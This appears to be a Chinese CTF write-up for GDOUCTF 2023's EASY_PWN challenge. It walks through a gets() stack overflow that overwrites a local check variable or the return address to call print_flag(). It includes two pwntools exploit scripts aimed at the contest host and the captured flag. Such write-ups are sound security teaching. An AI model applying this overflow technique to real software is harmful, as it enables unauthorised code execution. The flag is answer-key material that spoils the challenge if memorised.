【GDOUCTF 2023】EASY_PWN
收获
- 比较经典的栈溢出,但是不要被前面的猜随机数迷惑了,直接溢出修改关键值
(2023年4月16日)【GDOUCTF 2023】EASY_PWN
思路
在 Ubuntu 下分析文件,并给予执行权限运行:
用 64 位 IDA 打开,定位到主函数:
主要是函数 check()
:
注意到有个 print_flag()
函数:
这个函数读取了靶机上的 flag.txt
文件,并将里面的内容输出,因此执行这个函数可以直接获得 flag
在 check()
函数的前半段有一个生成随机数的代码:
这里调用 urandom
文件往 buf
中写入随机数
然后通过 gets()
获取用户输入 s1
,如果 s1
与 随机生成的 buf
相等,就将 v5
的值改为 1
当 v5 == 1
时就可以调用 print_flag()
函数输出 flag
由于这里输入使用的是 gets()
函数,也就是说 s1
是必定可以溢出的
观察栈中数据的位置,发现 v5
在 s1
的下方,因此 v5
是可以被 s1
通过 gets()
覆盖的
这里注意:
不要被前面的猜随机数给迷惑了
是否执行print_flag()
函数取决于v5
的值是否非 0,而与是否猜对buf
中的内容无关
因此大可不必去管urandom
生成的随机数是什么
除此之外,通过 s1
直接覆盖返回值执行 print_flag()
函数也是可以的
因此这个题有两种思路:
- 通过溢出
s1
修改v5
的值,只要将v5
改为非 0 值即可 - 通过溢出
s1
修改函数返回地址,使其直接跳转到print_flag()
函数
脚本
解法一
将 v5 的值修改为 1(或者其他非 0 值都可以)
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
content = 0
def main():
if content == 1:
io = process("./easypwn")
else:
io = remote("node1.anna.nssctf.cn", 28291)
payload = b'a' * (0x1F - 0x04) + p64(1) # 从s1到v5需要填充0x1F - 0x04个字节,p64(1)将v5修改为1
io.sendlineafter("Password:\n", payload)
io.interactive()
main()
解法二
直接将返回地址修改为
print_flag()
的地址
(不过有一点不太明白,既然开启了 PIE 地址随机化,为什么还能直接得到print_flag()
的真实地址)
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
content = 0
elf = ELF("./easypwn")
print_flag = elf.symbols['print_flag'] # 通过elf获取ptint_flag()函数的地址
# ptint_flag_addr = 0x0011D5 # 在IDA直接查看ptint_flag()函数的地址,两种方法都可以
def main():
if content == 1:
io = process("./easypwn")
else:
io = remote("node1.anna.nssctf.cn", 28291)
payload = b'a' * (0x1F + 0x08) + p64(print_flag)
# payload = b'a' * (0x1F + 0x08) + p64(ptint_flag_addr) # 两种方法都可以
io.sendlineafter("Password:\n", payload)
io.interactive()
main()
结果
NSSCTF{2e00ef92-c970-45a0-b36e-2287f14151d5}
评论